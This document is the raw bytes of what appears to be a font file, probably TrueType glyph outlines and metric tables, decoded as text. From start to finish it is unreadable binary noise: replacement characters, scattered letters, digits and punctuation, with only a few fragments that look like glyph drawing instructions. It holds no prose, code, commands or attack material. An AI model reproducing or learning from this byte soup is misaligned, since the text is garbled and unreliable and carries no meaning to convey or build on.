]33###53ø�����`���<Ĥ��V.` 54!333##"3276!������5R �w{i&�V��`���p?`3A0���c�3'q�="�U���a�4'q��"�[���^�3'*�Pq�=���c�Z'#�d"�U���c�Z'%�d"�U���a�Z'#�dq�����a�Z'%�dq����vj
3'$�\q�=���c�Z''�b"�U��vj
V'"�}$�\���c�W''�u*�|��vj0Z'#@d$�\���c:'&�u#(D���cm:'%�D&�u��vc
u'&�u$����vV
Y')�P$�p���V�Z')�P#�d���V�Z')�P%�d���V��'��)�P���c['��&�u����{�Pn&����Z,,!!,��,����O�=32653#"&[�h�q��`�=�QQ������,�����&&m������&3;#"'!5 767654x�
I*e��2D���0��#
&pgM,�>�ꅗ����:H~�����#�'��������`�'��S��������'��S��������F'���������8@'��+�'.c��Q�����~@'��+�'.c��R�����~r'���>��99�F���K�SK�QZX���8Y1���/��0@

@
P
`
p
�
]3;#"&5��Li �����a�����^����q��%����q��q�����u{&���JOw`73#!!dž��$���Nd��`��Vw`#676#732767!5ʆ�#5H2K���1i0/�N�)de�еT0H�d01�����``����vg{'��������y{&������3#3#������#����+@
��	�
	
�2�2�2�21/�2��20!#3!53#�^�����ժ������	?!5	��?������8�'tXz����8	U'uXz����8�'z�t����8'wXz����8	U'xXz����8 'z,w����$�'w�}����$�'x�}�N�@
T�����1/��0333��������N�@T�	����1/��20%3!533y��ո���B��y�@
T����1/��0)533y�sո�Bq����8@
E
E��Զ0�]99��1@��
��/�����0 6& #" 3
�����*NY���h�>������	��������A@EE
���Զ0�]9��1@
��
��/<�2����0 6& "'!53&54 3
�����*N�N�J�h�h�>������	��������!�8@
E
E���Զ0�]99��1@�
���/�����0 6& &54 #"'!5
������h����YN�J>�����������z���=x�
4@

��2��2��91@�
�/��290)33!x���³���j*��]��Q�i��x�6@
	
���2��2��91@	��/�2�290%!5!33x�tj��³��瓓����]��Q�i��'�
4@
		���2��2�91@	
��
/��290#5!33j��³������]��Q��=�q)	#33�������m���Cq�"���q
)5333!��m�m�����"����q)533#��m���������Oq	$@	
�����1���/�2�<0)3!33O�k�U��q�"�"��Oq(@

�����1��
�/�22�<0)533!33O��ιU�Γ�"�"���q	$@
����1���/�2�<0)533!3��kιU���"��Oq	$@

�<���1����/�2��035!!5!3����ΓK��"���Oq	$@

����1����/�2��0#5!!5!3���ΓK��"����q @		���1����/���0!5!!5��k��q���K�q��:@!EE ��ܲ@]�ܲ@]��1@��	��/����<�0!&'.4> !2>4."RJr���惃sKR�9[���ZZ��� 1�ũbb�Ũ1 ����p`88`p`88����!>@#EE"��ܲ@]�ܲ@]��1@� ���/�2���<�0%!!5!&'.4> 2>4."��RJr���惃sKR�Q[���ZZ������{ 1�ũbb�Ũ1 �p`88`p`88��O�:@!EE ��ܲ@]�ܲ@]��1@����/����<�0#5!&'.4> 2>4."RJr���惃sKR�Q[���ZZ����{ 1�ũbb�Ũ1 ���p`88`p`88�O�&@


������21��	/�����03"3#!5!���>�k��
f�������O�"�
������21��	/�����03"3#!5!���>��c�
f���������$@	
�����21��	/�����03"3#!5!���p�k��
f�����q��7@	E���<�2���1@
��
��/����<�2�0!!##"&6 !354'&"3.�C�����f^�v� ]8�mr^��<�U�f���"�qɃ]8�ƃ����;@!	E ���<�2���1@��
��/�2���<�2�0%!##"&6 !3!554'&"3.�C�����f^�v�7�]8�mr^�K��<�U�f���"���Ƀ]8�ƃ����7@	E���<�2��1@
��
��/����<�2�0%!##"&6 !!554'&"3.�C�����f^�v��]8�mr^�K��<�U�f������Ƀ]8�ƃ���,@

	��<�<��1@���
�/�����03!!!!!���5�5Փ�/��������
0@	��<�<��1@�	���/�2����0#53!!!!!���5�5�B��/������D�,@
	��<�<�1@�
���/�����0)53!!!!y�s���5�5�B��/�=��,@

�<�<���1@���
�/�����0!!5!!5!3�5�5��ߒѓ�������
0@
��<�<���1@��
��/�2����0#5!!5!!5!3�5�5�ՓL�ѓ�������,@
	��<�<��1@��
��/�����0)5!!5!!5!��,�5�5��L�ѓ���
*@��<���1@	�
���2���0!!27654'&3!23���,R4,,=�ٹUiXO���]Oz}I_�"���_Ҥ������.@


��<���1@
��
�/�22���0#533!23!!27654'&ιUiXO���,R4,,=�B���_Ҥ����]Oz}I_���
*@��<���1@	��
�/�2���0!!27654'&533!2#���,R4,,=�ιUiXXXl��]Oz}I_�"�B���_ҭ�����@@	�ܲ_]9���@
���/���999@
��10!4'&'5!!�5M��c����4B��_���9V�����@9�����D@	��ܲ_]9���@	
�
��/�2��999@
	��10#5!&'&'&'5!!�
5M��c����4B��X]����9V�����@9���$�@@	��ܲ_]9���@	
�
��/���999@
	��10#5!&'&'&'5!�
5M��c����4B�X]����9V������q=��:@	
	��9��1@
��/��̲]�촍�]0!533T������9�������
>@
	���9��1@��
/�2�̲]�촍�]0#5!533h���ՓL��9������:@	
	���9�1@
��/��̲]�촍�]0#5!53h����L��9�+��#1@%!$�������1@�
�#�/�22����03432>3234&#"!4&#"!���}x5%���^��q�Z���H�Zl����K--�X�h���|��ŕ�nc�������%5@'#&�������1@� �$�/�222����0#53432>3234&#"!4&#"!���}x5%���^��q�Z���H�Zl���[��K--�X�h���|��ŕ�nc�������#1@%!$������1@��"�/�22����0#53432>324&#"!4&#"!���}x5%���^���Z���H�Zl���[��K--�X�h�&|��ŕ�nc����=��
-@	�<�<���1@
	���/��<�<0!!5!3!!!���K�K�������?�������1@

	��<�<���1@�	��/�2��<�<0#5!!5!3!!!���K�K�������?�������
-@
��<�<��1@
�
��/���<�<0)5!!5!3!!@�����K�K������?�=X�>@
�<�<�<�<���1@�	
��/�2�<�<<�220%!!5!3!3!!!�=���K�øL����������?��?�����X�B@
��<�<�<�<���1@�	
��/�22�<�<<�220#5!!5!3!3!!!%!���K�øL������=����?��?��������>@
	��<�<�<�<��1@�
��/�2�<�<<�<<0)5!!5!3!3!!!��0���K�øL����=����?��?����Oq	%@
�����1����/�2��03!3!���$Uq�"���K��Oq*@

	�����1@	��	�/�22��0#53!3!���$U��"���K���q	%@
����1�	���/�2��0)53!!��k���U�ޓ��K=�C�
	����1@
B����/����0KSX@����Y!!!�tFs�0��h�B�~�������
F�	����1@B���	�/�2���0KSX@����Y!5!!!�tF�l�h��h�B�~��B�������C�
	����1@
B����/����0KSX@����Y!5!!�tF�l�h��0B�~��B�+���
8@! ���<�<���1@
�
��
�/�2���<�20327654'&+!!!2/!m�]%i��
;����@ED\���qQE=<d^����K�"qd��|�[|�������
!<@ #"���<�<���1@�
��
 �/�22���<�20327654'&+!53!!2/!m�]%i��
;�7����@ED\���qQE=<d^����K�"��d��|�[|�����n�
8@! ���<�<���1@
�
��
�/�2���<�20327654'&+!!53!!2/m�]%i��
;������@ED\��qQE=<d^����K�"��d��|�[|�Q�
.@
	��<�<���1@
�
��/�����0!!#3!33����K��������������Q�2@
	��<�<���1@�
��/�2����0#5!!#3!33����K�ԓ����������}�
.@
	��<�<��1@
�
��/�����0#5!!#3!3����K��������+p��
3@���<�<���1@����/����<�20!!"!"'&54763!!!!�0��R4,,=n��k}XXXl2L��!�K]Oz}I_�	d�_ҭ���"��/�����
7@!
 ���<�<���1@
���
�/�2���<�20!!"5!!"'&54763!!!!�0��R4,,=�U��k}XXXl2L��!�K]Oz}I_�	�ч_ҭ���"��/���
�
3@
���<�<��1@���
�/����<�20!!"5!!"'&54763!!!�0��R4,,=�U��k}XXXl2L���K]Oz}I_�	�ч_ҭ���"���=��	$@

�����1����	/���20!!5!!!���N���B���Q�����)@

������1@	��	�/�2��20#5!!5!!!���N��������Q�����	$@
	
�����1�	���/���20)5!!5!!@�����N������=�@�
	���1@	B���/�2��0KSX@����Y%	33������������~�������
B�	���1@
B���/�22��0KSX@����Y%	5333��������������~��B�������@�
	���1@	B���/�2��0KSX@����Y%	533�����������~��B�+q��(!&'.4767675!5!!2>4."RJr�CEoJR��XEr��rJS�9[���ZZ����1��SV/�{
2�Ʀ1 �"p_88_p`88����*#5!5&'.4767675!5!!2>4."RJr�CEoJR��XEr��rJS�9[���ZZ�����1��SV/�{
2�Ʀ1 �"p_88_p`88��O�(#5!5&'.4767675!5!2>4."RJr�CEoJR��XEr��rJS�Q[���ZZ�����1��SV/�{
2�Ʀ1 �{"p_88_p`88�Q�	%@
�����1����/���0!!#!3�����B�������Q�*@

�����1@	��	�/�2��0#5!!#!3����ԓ��������}�	%@	
�����1����/���0#5!!#!���������+�Q�(@
	��<���1��
�/����0!!#3!3�����O����������Q�
-@

	��<���1@	
��/�2���0#5!!#3!3����ԓ�����������}�(@
	��<��1�
��/����0#5!!#3!�������������B�
/@

	�<��<���1@��
��/�2����0!!!5!3z;������K�"qѓ�����B�3@
	�<��<���1@�
���/�22����0!53!!5!3z;�7������K�"��ѓ�����m�
/@

	�<��<��1@�
���/�2����0!53!!5!z;�7�����K�"��ѓ�+q��&B@%(E#
E'��ܲ@
]<�<ܲ@]��1@
�#
��$�/���<��<�02>4."&'.4767673!
[���ZZ����RJr�CEoJR�XEr��rJS"p_88_p`88�~�1��SV/��{
2�Ʀ1 �����(F@*E#'E)��ܲ@]<�<ܲ@#]��1@�'
��(�/�2��<��<�02>4."!5!5&'.4767673
[���ZZ���l�RJr�CEoJR�XEr��rJS"p_88_p`88����1��SV/��{
2�Ʀ1 ���O�&B@(E#
E&'��ܲ@
]<�<ܲ@]��1@
�#
���%/���<��<�02>4."5&'.4767673!5
[���ZZ����RJr�CEoJR�XEr��rJS�0"p_88_p`88��1��SV/��{
2�Ʀ1 �{�q��*!&'.4767675!5!!!2>4."RJr�CEoJR��N��XEr��rJS�9[���ZZ����1��SV/��
2�Ʀ1 �"p_88_p`88���� ,%!5!5&'.4767675!5!!2>4."�RJr�CEoJR��N��XEr��rJS�Q[���ZZ�������1��SV/��
2�Ʀ1 ��p_88_p`88��O�*)5!5&'.4767675!5!!2>4."��0RJr�CEoJR��N��XEr��rJS�Q[���ZZ�����1��SV/��
2�Ʀ1 �p_88_p`88������ ����������'b�'b�b
������'b�'b�c
������'b�'c�b
������'b�'c�c
������'c�'b�b
������'c�'b�c
������'c�'c�b
������'c�'c�c
��:@

	�@	?o��]�99��99��991�
��2�<�0#'##'##'d22�222�22d��dddd��V��!#!3!3#3�j����������ժ�V��V8`!##333#�������{��}`���9��V��VX{ %5#"&5332653!"&'5326�C�u�ȸ||������a�QQ�R����jBfc����a����{�+����,*����}��GR'>�����}��GR'-������}��G�'L��'-������}��Gx'0�����}��G�'2�������~&'>X�������~&'-4�H������~&'-�('-4�H������~�'.� ������~�'2������
G�&�'-_ -�������
�&�'-R-�������7�&�'-R-�������
G�&�0x�����
�&�0 �����7�&�0 �����
G�&�'/� 0x�����
�&�'/� 0 �����7�&�'/� 0 �����	��&�.x������2�&�.X�������&�.X������	��&�/~ ����2�&�/� �����&�/� ����&�/�R�����&�/|R�����&�/|R��u��F&�/,������@&�/,������F&�/,������\&6-k�������?�&7-������� &8-�������\L&6'-��-k�������?&7'-�~-������� ~&8'-��-�������\&60������?�&70,������ &80,���k��&9-k����?&:-�~���� ~&;-��k���&9/�k����?&:/,~���� x&;/>�����7%2$6=4'%$=4767!;#"&'#!"'$4733��k1y�Y����`�h_	��/.Z\9S�l������?�A�h�X�l	k�7�>c`���7#
#5�&�E^�209�&b�\^�~B"��� #5!276'&'%$=4767!#�.
c�Y����`�h_	��>_߸h,n�7�>ba���7#
#5�&�qe���)#5!27654'%$=4767!;#"&'#�9p�Y����`�h_	��/.ZZ8`��h�7�?ba���7#
#5�&�E_�/(W������&(>F������&�>������&�>��������&�-�F�����r&�-�����r&�-�������&�0X��������&�0������&�0�������+&,>F������+&->������+&.>��������+&,.X��������+&-.������+&..�������4&,/�������4&-/K�����4&./K������#�&�-j������&�-������&�-�����#4&�/������4&�/������4&�/������#&�0&������&�0c������&�0�������+�&8'-?&-���������'-�R&4-������~�'-�R&5-������+�&8'-?&>&��������'-�R&4>P����~�'-�R&5>P����+�&8/�&�����X&40c�����~X&50c�5�	b@��
�<�2991/��0K�TX�
@

��878YK�TK�T[K�T[X�
��

@878Y� P]#53#3������+�e������� $�@/ ��!�#��#�%"	"	"!&	%������99991�������9990K�TK�T[K�T[X�%��%%@878Y@ttttv]33267#"&546?>7>5#53�7ZZ:3�mN�`^�g��IYX0&���D�e�WX5^1YnFC�98ŸL�VV/5<6��������Xu���X
%#!5!276=3%H���c,1�VV�,1j�ٻ���#!!!!������#��	-�����#!!!�R0S��
O��	-��#��f#!!	!!5	N���+����)#��
����m���@�>2&#"#"&'7327��ֳ�Pd\�jk��Pd�켰����}켰��������H�&LL�����Q�'L'LL���@�-6?67632&#"#"'&'7327&'&54767676'4'&'�uphmdN�Pd�]��z�vphmdN�Pd�f��u��V?bd4?��V?fj4��`\cM����["j��ݜx�9�`\cM����"g��ݢz��Bf��d3�v�Ai��f3���H�MQZc67632&#"!67632&#"#"'&'7327!#"'&'7327&'&54767!!676'4'&�uphmdN�PdupimdN�Qd�^��z�upimdN�Qd��vphmdN�Pd�f��u��"���V?fj4Q V?bd4��`\cM����l��`\cM����["j��ݜx�9�`\cM�����@�`\cM����#h��ݢz����[�Ai��f3q�iBf��d3���P�mqu~�67632&#"!67632&#"!67632&#"#"'&'7327!#"'&'7327!#"'&'7327&'&54767!)!67654'&�uphmdN�PdupimdN�QduphmdN�Qd�]��z�vphmeN�Pd��upimdN�Qd��vphmdN�Pd�f��u��"��"��"���V?fj4YV>be4��`\cM����l��`\cM����l��`\cM����["j��ݜx�9�`\cM�����@�`\cM�����@�`\cM����#h��ݢz����A��[�Ai��f3q�iBf��d3�����3&#"7#754'&'#"&'7327#4767>32nSb~Y��f��M��f�pH>>�fp��Sb=[Bz��z��fp����)"X��*�e��e�*�mH��鿬����Bx�ۛz�鿭������>4'>7'7&#"7#"&'7327&'&54767>32mV?fj4�Vs
�e�Sb~k�ef�%Uz��lk��Sb�f��u��lk���Ai��f3E�T�i��eX���[m��ee�_X�9鿬����"g��ݢz��������=.'>7'&#"'#"&'7327&'&54767>32mV?fj41M>V�
vf�Sb���fj���lk��Sb�f��u��lk���Ai��f3�]D�i�[wf&���["�Y�fj����9鿬����"g��ݢz�������	P#	!	!A��s�s��#��	%��
O����	P#	!	!�������
O��	$�����# # #���K�u�u�O;�����>����^�8��bC���# 3 3�5��.������Ae���8�^���?����R��
�u7!!  767654'&'  $'&'&7676���R��<�¡���������¡������?3���dccd������dccd����YTR���z��z��SSSR��������RY���������������������R��
�u3?  767654'&'  $'&'&7676!!#!5!��<�¡���������¡������?3���dccd������dccdɵ���e�e�pTR���z��z��SSSR��������RY�������������������ɵj�e�e���R��
�u3?  767654'&'  $'&'&7676			'	��<�¡���������¡������?3���dccd������dccdɵ�����s���s�s���spTR���z��z��SSSR��������RY�������������������ɵ���s���s�s���s��������Y�&L'L'L	L���@�327!5!>32&#"!!#"&'wSb-�}�#�lk��Tb"��r/�lk�۸����鿭����?�/鿬����@�'327!5!!5!>32&#"!!!!#"&'wSb����n��lk��Sbu����c �lk�۸���T��鿭����_��O鿬����@�&#"#"&'73275>32nSb%�,,�lk��Sb%�9�,�lk����	��\鿬��������鿭����@�,5&#"&'67#"&'7327&'&54767>32nSb�h�9q-XLa�lk��Sb�f��u��lk��-V?fj4���[:�\f.�i�3
�9鿬����"g��ݢz�����Ai��f3�����4&#"676='3'#"&'7327&'&53>32nSb=[Bz�fL
f��x��jk��S`
�X��qH?>�jkgL���Bx�+�f��f�+ݘz�鿬����#X�ڡnH�cJ����@�!!!!!>2&#"!!"&'732f*����ֲ�Pc
���ΰ�Pe����`켱������b����������@�,!!>2&#"#"&'7327326&f*�֌:,�ֲ�Pd�]��z��jk��Pc
9L������~켯����["j��U�x�9켱���l�2����G�1!!327326&# >32&#"632#"'#"&'�+���Sb&@O����à��v"�jk��SbS`�$���{g�jk����¸�X(L�(��X�����K���T��/�鿬����@�4!!6& 327&'&767>32&#"#"&'_*��������Sb�f��u��lk��Sb�]��z��lk�����(�͓��l���"g���z������["j��T�x�9鿬����@�"&7!>2&#"!!#"&'73273!#3���ֲ�Pd��A�fe��Pd"�C���;�켱����R��f������wx�K��K����B�/&#"!2#567&'!#"&'7327!5!>32nSb$~��ˇ���y/�lk��S`
-�c	��C�����&�lkgL���������)鿬��������f�����cJ����@�%&#"7	'#"&'7327'	7>32nSbީ��d��#�lk��Sb!�g���� �lk�����ޫ�������鿬�����de���鿭����@�,327#7>32&#"#'#"&'wSb@\-J�۫�lk��SbXz��@�lk�۸�)Fq�G�%
�鿭����r"b���/�XG��鿬����@�)&#"63#"&'7327&'&3>32nSb<���~�lk��Sb�Yz��=�lk���� 6s��.��7�鿬����!b�/�F��E�鿭����N	�>2&#"#"&'7327!5��ֲ�Pd\�kj��Pd����켱����}켱���
x����L@�>2&#"#"&'73275!��ֲ�Pd\�kj��Pd�HV�켱����}켱�������^��_<���+���+���LY	�m����QY^�f��55������q=�3���=�����d�������d���������������?��y}��s)����3s�\�\��?�u�����Ls��Ls������y�D{=�{\���������{�fqq�q�/q�9�9����9�����q�qJ�+o#7��=�V�;�=3X����55��^R�\��s�����d����5^5bs����#5��`�������b?�yyyyyy��s����\;\�\��\3
��LsLsLsLsLs�Lf�����������
��{�{�{�{�{�{�{fq�q�q�q�q9��9�9��9���q��q�q�q�q�q���H�����=��=y�{y�{y�{�sfq�sfq�sfq�sfq)�q3
q��q��q��q��q��q3sq3sq3sq3sq���T��x\��9��\9��\��9��\�9�\�9���r�\��9��?�����u�9�u�9�u��u�����F��������������Ls�qLs�qLs�q�s/q��J���J���J��+o�+o�+o�+o�#7�#7�#7�������������������D�V��=�{\3X{\3X{\3X�/ �}��}�s�sfq3
���}�q�q�Lu������3s~����\
����9
�=������LsNg�v�sq7�����r+d����#7�#7����N����={\3XT�T\�h3q�T]�hX�\����]�`�
d�	<q��K���s�d�a�y�{\��9��Ls�q����������������qy�{y�{��{3sq3sq?����Ls�qLs�qT��X9��`�
d�	<q3sq��u����y�{��{Lf�Hy�{y�{��q��q\��9��\9��Ls�qLs�q��J���J��������+o�#7�,G������q�q�q{\3Xy�{��qLs�qLs�qLs�qLs�q��=�����79���q�qy���f	u
�+o3X�P�P}
�y��q\��9��@sq�
J����q��efqq�q�q�q�|S�A�4�Pq9���qq	q�`�`���9���t*K�M:���������+��#���q�q��GpPPOJ�I�>�>t����+o�������7���#7#7�q���=�V�=�f3X3X�X�mXXXXLs��Pq�q;�V��V���qXXqvqq�7�7:7�/��<�66JO<u1uf��u]H^H 6�&:���������uuuu�u�u����3��s�3���s�o�ouuuud�d���L������huTz�u�u�u������������%������q���������������7�����������]����������y���q�$���U�������$��z�w�����(�j�#�L�����c�������������������x���h������!�c�+������q��������������������c�3�x���+�x�.���p�p�p�p�*�p�w<�����.�:�:���3��efqe��\��s����������D������������y}�u�y�{\�Ls\�?�y�����Ls������Ls{=LsN\�FqS������Fq�� �qS�Zk��q�����=�xJvk�q�J��qq�d��Gp�;Gp������q����?����q�W����WGp�AOpLs�q0��q����@G�G��rwxs��sFqU��-~O�d$s6�s�q�,J7Op�fq9��Ls�q������s��5U�s�s�s��J�����s�\�\\���T\�J�������#�y}�}���@e��(!�������T���Ls����s��#�y{=6�|������<�}��o�����{�p��4��k�q5FA�3�3���L	�;��q;��fq�<�=�p�;r���R����>Q���dq���t�q�q/4�dq+o9�9��9��8L0�7/��3��=;�xs��*`����	D3	G��Ls�k7���sS[�2Ls�q@R2@R2�s<q�sq	pv9�xs���sfq;���������X��X�X.�j�}!�&�����4�fG�8��=��(5F!�A����������!�=�2�*�I�����S�s�q�sfq��<��=��={=�;y��t|���|���|������\��(5F?���56].�I�6�r�|����2�9�y�{y�{��{��qLu�qLu�q�(5F!�A�T��X��3���3�Ls�qLs�qLs�q�odq�#�=�#�=�#�=|�����4��Q�fG�8{=�;{=�;}��q�-q����n����6�.����3sGq/�����S�TL	ZT�L'���A��tLsq�D�V�����T>L��L�X�v�!���]Z��-������]��D�`�����F �d#iU��������xgZ%�U���d������M�|x2LsRnuu�����>Z���CqN��q����Cq�,����q���j���,������<
��{n0������oz���)�oqF~����dD���D��cc/ND�dc\��\��fcY��XLX^X:�.��X:�0���LX;X�XO�oX.�4X1�X���QX�X���X�XB��b���S�(���������?���9��9l��9lC�9���1�����*�*�*��}�}����	��	��	��	��f�f��u�uX��K�5k��������1���C�C����������OO��L�LLRLLL�L�LUL<L<LdL����\W��5k�Vz����������������*�*�*�*�*�*�*��}�}�}�}�}�}�}�}�}�������=���=��������	��	��	��	��	��f��uK�K�K�K�K�K�5k5k)�n�)�������)�)�)�)�)�)���������������������*���������C�C�C�1�L�LLRLLLRLjL�L<L<Ld����������9��qd=�=;�;��q;��q���=x����=���=D=;�=��=��p�==�q=�=�.��q�q�B��[B[������{d{d���]�x����mx��s[�"�)>WE_II�Y"�~h~h�@�sx�2Os�O�sx�M�o�`P{P���@�@�@�@�����`�N�zBz���a\��d����>�N���� c c]cc�Y]�d�ji::�x�nno�n�d$P<Py�<�x�<x���d@2	PKn�����d�d�Z
��nx���y�x���d��<�<���o�<�n�Pd$d�Z�ddd)hd$dZ�d.d.�Jdd$d^d.�<Z.
�ddJd$d$<.��Z.d$�)d.��d$xdd$dod�djZd�Pd�n�dyyyy'�'�'�'�'w'w���������������'���w��w'w�X�c^c^��%���H������E���wyyyy�w�w�w�w�w�w��y��������w��w��w��w�w������������w�w�w�w�y�y^��^��^��l�4wl�4w��4y��4y��y����wyF���FFF����*F����������*F��*F����������A�A8F3�F3�F���FFF����*F����������*F��*F����������z�z��wu�u�u��w�w�wu�u���&w��������&w��&w������������w�F�F��w�w�w�F�F��Gwy��Fy��F�F�������w�F�F�F�w�w�w�F�F��Gwy�=Fy�=F��Gw��Gw��=F��=F���w�F�������F�F�F������FV�+�V�+���F��FV�+�V�+�V�Y�]�Y��F�F�F"F"F"F"FG��FG��FG��F	��F	��F	��F	��F �w���www����?w����������?w��?w����������Y����S�SwSwS�S�S��������F�F�F��FY��wy�y�y�y��M�M�w�wd�w��������������S�S�y�y��4y��F�w�w�F�F�w�w�����`�`�`�`�`�`�`����F�w�F�w
�
�
���
�
������F�F�w�w�F�F��%w%!%!%w%w%!%!Y
�)�#s�����u`�
z�
�
���
�
��������s��	4��
��������s��	3��
������������	E���������p��	2��
��������O��	���	3��w��q���=��{�>fq���$��S�9�(���	�3��qfyqyqy3/q�q�q2��2�2�<������/�=�V3X5x���=��2��ZLr
�u�//S�H�||��N�Y���H�G
����p�+"M"M>G/Mmu>GVGVG�T�R>Gnzhu�uEuOG�GOGOGmu\#=n�n�uV&7y�GSG�%nzu=nV&7y�KySG�%���tV29�>G�G�GOG�T_��>G=nI�zII�V�z�[q�u�uI���uEqOGOG�FK��\#^YG�u@zV&�7~7�7#7OG�[�[�[�[�B�By�{}��}��}���sfq)�q)�q)�q)�q)�q��q��q��q��q��q���/3sq���������\9��\9��?���?���?���u�M�uM��u�9��u�9��������������������������Ls�qLs�qLs�qLs�q��������J���J���J���JT�+o�+o�+o�+o�+o�#7�#7�#7�#7���������������y�=y�=�D�V�D�V�D�V�D�V�D�V{=�;{=�;��={\3X{\3X{\3X�#�V�=�{�/��/&��qy�{y�{y�{y�{y�{y�{y�{y�{y�{y�{y�{y�{��q��q��q��q��q��q��q��q\Z9D\�9�Ls�qLs�qLs�qLs�qLs�qLs�qLs�qNg�vNg�vNg�vNg�vNg�v�����������������������=��=��=��='�� FqFqFqFqFqFqFqFqyy'i��S�S�S�S�S�S�����0l������������7hx���������������������
������q�q�q�q�q�qo���������������������E�.����������������k�����_�FqFqS�c��<�������q�q��������FqFqFqFqFqFqFqFqyy'i��������������7hx�����������������k�����_�FqFqFqFqFqFqFqyy����y�������<���p�����r�������������������������\��\��D��~�����������������������{�������������������a�����Ns��V����d�dddd����������%�%�%�%�99�3�3��W�����
�q
�q�(�()(�(�()(�3�3�����?���n��n����=�V����`J�����d���=�n��=��dn���8��N(�f�f��ad�p�����5Wnz5?5f5\5l5Y5S9�9�9��o�g0u5W5�5^5b5?5f5\5l5Y5S9�9�9��o�g"MVGOG�uVG<uhuTz�u0umu�u\#Vs`����"
.����;F_q(
.�.D]1u�j
C��=�=�=��P�=&C&C�s��#��&<�<���o���I	��HZ�;�j�DN��� h�R6�n��LsbB�SV�,�y�(���'y�\�XNN��D?�yJ\���}�W��JT���9�h�gd���(V
FhZ	���$�<���|3�uu��W�Z�[�O�=;6Q����
�����^���^�b�?���f���b�f�l��\�����b�ya�
�W�{=w=	
=u��s)���9����~��=}=�=	]=���;�;;9�fqq��	�y)�	�y�se�s�W�d���u���d��� � � � �d�u�,��d���u���d�u�d���u�����d�v�d�v�d�d�*�Z���Z�����d�-�O���p�����d�d����u�u����d�w�d�d�x�v�x�d�d�d�d�u�d���u���d��� ����� �d�u�d�u�����d���u���k�u�7�^�H�^�^�^�@�^�^�^�u�z�z�^�u�w�u�d�u�d�d�u�d�7�u�7y�#_����Z��Z��������������,��d���������DX===�����,�,����ff����+uPuuu+uPuuu+u+u+uyy�y�������������������������������������������������������������������������������������������������`�`����������������������������������������������������������������������������>�>�����������������������������������*�*�����������������������������yy�b�y*���������������������������������c�c���������|������a�a���������������������������������������������X��������������X�����������J�r����������;����x�xdx�xd�������������+�+*	8�	8�P�	8��xP�������Fq	8��#�������������������+��7����'Y���,�,�,�,�,�,�,�,�,�,���������<�<����<�<������������������������������������������������������������������������������������������������������������������������������<�<������x��x�x��������x�x��������x�x����������������������������������������h������h����������'��'��'��'��'��'��'��'��'��'��'��'��'��'��'��'��'''''��'q'��''��'��'��'��'��''��'����������������������l�l�����g�g�'''''''''''''''''�p��p�r�p�p�p�p�p�p�p�p�p7p7�T��������p�p''''�3����������'''�p���������p�p�p�p'''��������',�h,d,�,�,�,���+�,�}}_}}	��
�,�,�,�B�,d,�,�,�,�,�,�,�,���,���,},�,�,dZd��2�E�\�,�,�,���,�,�,�,�,�,�,�,�,�,�,�,�W�W�W�,�,�,�������,�,S,�,�,,�,],�,�,�,,m,�,E,�,�,�,A,�,�,U,�,Q,0,�,�,U,�,L,0,C,�,X,�,B,�,X,�,����,x,��������� �,�,�,�,�,�,�,�,�,�,�,�,�,�,1������������,�,�,�,�,�,�,�,�,�,�,X,X,j,�,
T},y,},),�,,,,�,�,d��	���	f�9��
�����	�����d�T�
�������Y�����x���D�V�V�V�V����V��I�V�V�x�����+���5���X���3����������p�p�p�p�R��>�p���T�V�S�T�W�W�/�V�0�/�0�0�0�2�����p�@�T���T�T�T�p���������n�n�T�V�����������a�a�T�T,f,z,z,z,z,��������xN�Nx�>���N�n�X�~�������������#�9�U�w���l�f��,�,�,�,�,�,�,�,�,�,��	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�u���u���u�u�u�u�u�u�u�������u�u���u�u�u�+�+�����<�����u�����u���s�������unO�������s�s��[�Y�O�O	Buxdxuxdxdxuxdxdxuxdxuxu��,�,�,�,�,�,�,���,�,�,�,�,�,�,���,�,�,�,�,�,�,���,�,�,�,�,�,�,���,�,�,�,�,�,�,���,�,�,�,�,�,�,���,�,�,�,�,�,�,���,�,�,�,�,�,�,�,�,�,�,�,�,�,�,�,�,�,�,�,�,�,�,�,�,�,�,�,�,�,�,�,�,�,�,�,�,�,�,�,�,�,�,�,�,�,�,�,�,�,�,�,�,�,�,�,�,�,�,�,�,�,�,�,�,�,�,�,�,�,�,���,�,�,�,�,�,�,���,�,�,�,�,�,�,���,�,�,�,�,�,�,���,�,�,�,�,�,�,���,�,�,�,�,�,�,���,�,�,�,�,�,�,���,�,�,�,�,�,�,���,�,�,�,�,�,�,�,�,�,�,�,�,�,�,�,�,�,�,�,�,�,�,�,�,�,�,�,�,�,�,�,�,�,�,�,�,�,�,�,�,�,�,�,�,�,�,�,�,�,�,�,�,�,�,�,�,�,�,�,�,�,�,�,�,�,�,�,�,�,�,�d�u��wOwO����������������:::
�u+u+u+u+u+u+u+u+u+u+u+��+u+u+u+u+k�������������������������������������������������������������������������������������������������������������� ��� �7�7�^�^��� ��� �7�^�u�u�H�H��������''''���$�$�����"�p�M�Mu
9
u���
���H#����?���{\3X@s��y@s�=	D�V�h<���GpP�q�bf��r
�{\�{�2�P��iIP�l���h�P�m�Pih�hs�sh�h�fch�{�d�P�h�h�P�V�z]P�<�`�FPP�d�z�|"h5z,qssu@xC@~�yy��v���{\��{\ssg�)�?>8�{\(��o�o:o����\�:o\��css�����ss�s$d{=�s��y��Ns��Ns6?�������?�,�,�,�,�,�,�,�,�,�,�,�,�,�,�,�,�,�,�,�,�,�,�,�,�,�,�,�,�,�,�,�,�,�,�,�,�,�,�,�,�,�,�,�,�,�,�,�,�,�,�,�,�,�,�,�,�,�,�,�,�,�,�,�,�}����F)���3s?�?���s�s{\��������u�����;yy�3���D{=�}�yy��\�Ls����u#sf�f�����f�f�����r+d����	pv9�;<@>�s�p����eKk�T5L	m��Ls�q�s�q
�s&q:B��z<��<|��
�s&q�������������������������������f�f�������s�s�����7��S���+o	��{	��{	#�{��{��{��{�se?
�q�#��Sjxt
�

�s&q�
���222Lsq�
���
��u9�������553�|��M.�U�3?���J+h���'GR��w�F��\�	�D����n`#Z������n`n������n`n������#Z`n����3����������n�n�nn�o�n9nnqn�n	Yn�n���n�n�nOn���n�2�n�n)n�n�n��1p�n���n��!2�n�x�n�n�nn�nszwddddddddddd$d$d$dKdKdKdKdKd_<_<_<_<_<_<�q�/
/
